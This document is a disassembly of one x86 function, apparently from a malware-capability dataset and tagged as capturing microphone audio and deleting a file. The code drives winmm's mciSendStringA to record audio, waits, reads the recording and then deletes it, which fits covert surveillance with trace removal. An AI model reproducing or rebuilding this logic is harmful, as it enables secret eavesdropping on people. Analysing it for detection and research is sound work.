Function at 0x30010d6c
Capabilities:
Capture microphone audio
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2c
push 0
push 0
dec ecx
jne 0x30010d74
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.3000217c
lea esi, [ebp - 4]
lea edi, [ebp - 0x114]
xor eax, eax
push ebp
push 0x300111da
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov ecx, 1
mov edx, 0x300111f0
mov eax, dword [ebp - 8]
call fcn.300071dc
mov eax, dword [ebp - 0xc]
call fcn.30001f94
mov ecx, eax
inc ecx
lea eax, [ebp - 8]
mov edx, 1
call fcn.30002228
mov eax, dword [ebp - 0xc]
mov edx, 0x300111fc
call fcn.300020d8
jne 0x300111a2
xor edx, edx
mov eax, dword [esi]
call fcn.300043c0
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.30001e88
jmp 0x3001118c
lea ecx, [ebp - 8]
xor edx, edx
mov eax, dword [esi]
call fcn.300048e0
mov eax, dword [ebp - 8]
mov edx, 0x3001120c
call fcn.300020d8
je 0x30011198
lea edx, [ebp - 0x118]
mov eax, dword [esi]
mov eax, dword [eax + 0x20]
call fcn.30007688
mov ecx, dword [ebp - 0x118]
lea eax, [ebp - 0x10]
mov edx, 0x3001121c
call fcn.30001fe0
push 0
push 0xff
push edi
lea eax, [ebp - 0x11c]
mov ecx, dword [ebp - 0x10]
mov edx, 0x3001122c
call fcn.30001fe0
mov eax, dword [ebp - 0x11c]
call fcn.3000218c
push eax
call sub.winmm.dll_mciSendStringA
mov edx, dword [esi]
mov dword [edx + 8], eax
push 0
push 0xff
push edi
push 0x30011254
push dword [ebp - 0x10]
push 0x30011264
lea eax, [ebp - 0x124]
push eax
mov ecx, 1
mov edx, 0x300111f0
mov eax, dword [ebp - 0x14]
call fcn.300071dc
push dword [ebp - 0x124]
lea eax, [ebp - 0x120]
mov edx, 4
call fcn.30002054
mov eax, dword [ebp - 0x120]
call fcn.3000218c
push eax
call sub.winmm.dll_mciSendStringA
mov edx, dword [esi]
mov dword [edx + 8], eax
push 0
push 0xff
push edi
push 0x30011254
push dword [ebp - 0x10]
push 0x3001127c
lea eax, [ebp - 0x12c]
push eax
mov ecx, 2
mov edx, 0x300111f0
mov eax, dword [ebp - 0x14]
call fcn.300071dc
push dword [ebp - 0x12c]
lea eax, [ebp - 0x128]
mov edx, 4
call fcn.30002054
mov eax, dword [ebp - 0x128]
call fcn.3000218c
push eax
call sub.winmm.dll_mciSendStringA
mov edx, dword [esi]
mov dword [edx + 8], eax
push 0
push 0xff
push edi
push 0x30011254
push dword [ebp - 0x10]
push 0x30011290
lea eax, [ebp - 0x134]
push eax
mov ecx, 3
mov edx, 0x300111f0
mov eax, dword [ebp - 0x14]
call fcn.300071dc
push dword [ebp - 0x134]
lea eax, [ebp - 0x130]
mov edx, 4
call fcn.30002054
mov eax, dword [ebp - 0x130]
call fcn.3000218c
push eax
call sub.winmm.dll_mciSendStringA
mov edx, dword [esi]
mov dword [edx + 8], eax
push 0
push 0xff
push edi
push 0x30011254
push dword [ebp - 0x10]
push 0x300112a8
lea eax, [ebp - 0x13c]
push eax
mov ecx, 3
mov edx, 0x300111f0
mov eax, dword [ebp - 0x14]
call fcn.300071dc
push dword [ebp - 0x13c]
lea eax, [ebp - 0x138]
mov edx, 4
call fcn.30002054
mov eax, dword [ebp - 0x138]
call fcn.3000218c
push eax
call sub.winmm.dll_mciSendStringA
mov edx, dword [esi]
mov dword [edx + 8], eax
push 0
push 0xff
push edi
lea eax, [ebp - 0x140]
mov ecx, dword [ebp - 0x10]
mov edx, 0x300112c0
call fcn.30001fe0
mov eax, dword [ebp - 0x140]
call fcn.3000218c
push eax
call sub.winmm.dll_mciSendStringA
mov edx, dword [esi]
mov dword [edx + 8], eax
lea eax, [ebp - 0x144]
push eax
mov ecx, 4
mov edx, 0x300111f0
mov eax, dword [ebp - 0x14]
call fcn.300071dc
mov eax, dword [ebp - 0x144]
call fcn.300076b0
push eax
call sub.kernel32.dll_Sleep
push 0
push 0
push 0
lea eax, [ebp - 0x148]
mov ecx, dword [ebp - 0x10]
mov edx, 0x300112d0
call fcn.30001fe0
mov eax, dword [ebp - 0x148]
call fcn.3000218c
push eax
call sub.winmm.dll_mciSendStringA
mov edx, dword [esi]
mov dword [edx + 8], eax
push 0
push 0
push 0
push 0x300112e0
push dword [ebp - 0x10]
push 0x300112f0
lea eax, [ebp - 0x150]
call fcn.30007c14
push dword [ebp - 0x150]
push dword [ebp - 0x10]
lea eax, [ebp - 0x14c]
mov edx, 5
call fcn.30002054
mov eax, dword [ebp - 0x14c]
call fcn.3000218c
push eax
call sub.winmm.dll_mciSendStringA
mov edx, dword [esi]
mov dword [edx + 8], eax
push 0
push 0
push 0
lea eax, [ebp - 0x154]
mov ecx, dword [ebp - 0x10]
mov edx, 0x300112fc
call fcn.30001fe0
mov eax, dword [ebp - 0x154]
call fcn.3000218c
push eax
call sub.winmm.dll_mciSendStringA
mov edx, dword [esi]
mov dword [edx + 8], eax
mov dl, 1
mov eax, dword [0x30004bb0]
call fcn.300015cc
mov ebx, eax
lea eax, [ebp - 0x158]
call fcn.30007c14
lea eax, [ebp - 0x158]
mov edx, dword [ebp - 0x10]
call fcn.30001f9c
mov edx, dword [ebp - 0x158]
mov eax, ebx
call fcn.30005298
mov eax, ebx
call fcn.30004e0c
cmp edx, 0
jne 0x30011125
cmp eax, 0
jbe 0x3001113b
jmp 0x30011127
jle 0x3001113b
mov eax, ebx
call fcn.30004e0c
mov ecx, eax
lea eax, [ebp - 8]
mov edx, dword [ebx + 4]
call fcn.30001edc
mov eax, ebx
call fcn.300015fc
lea eax, [ebp - 0x15c]
call fcn.30007c14
lea eax, [ebp - 0x15c]
mov edx, dword [ebp - 0x10]
call fcn.30001f9c
mov eax, dword [ebp - 0x15c]
call fcn.3000218c
push eax
call sub.kernel32.dll_DeleteFileA
push ebp
lea eax, [ebp - 0x160]
mov ecx, dword [ebp - 8]
mov edx, 0x3001130c
call fcn.30001fe0
mov eax, dword [ebp - 0x160]
call fcn.30010ce8
pop ecx
mov eax, dword [esi]
cmp dword [eax + 0x1c], 0
jne 0x30010dfd
or edx, 0xffffffff
mov eax, dword [esi]
call fcn.300043c0
mov eax, dword [ebp - 0xc]
mov edx, 0x3001131c
call fcn.300020d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x300111e1
lea eax, [ebp - 0x160]
mov edx, 0x13
call fcn.30001e14
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.30001e14
ret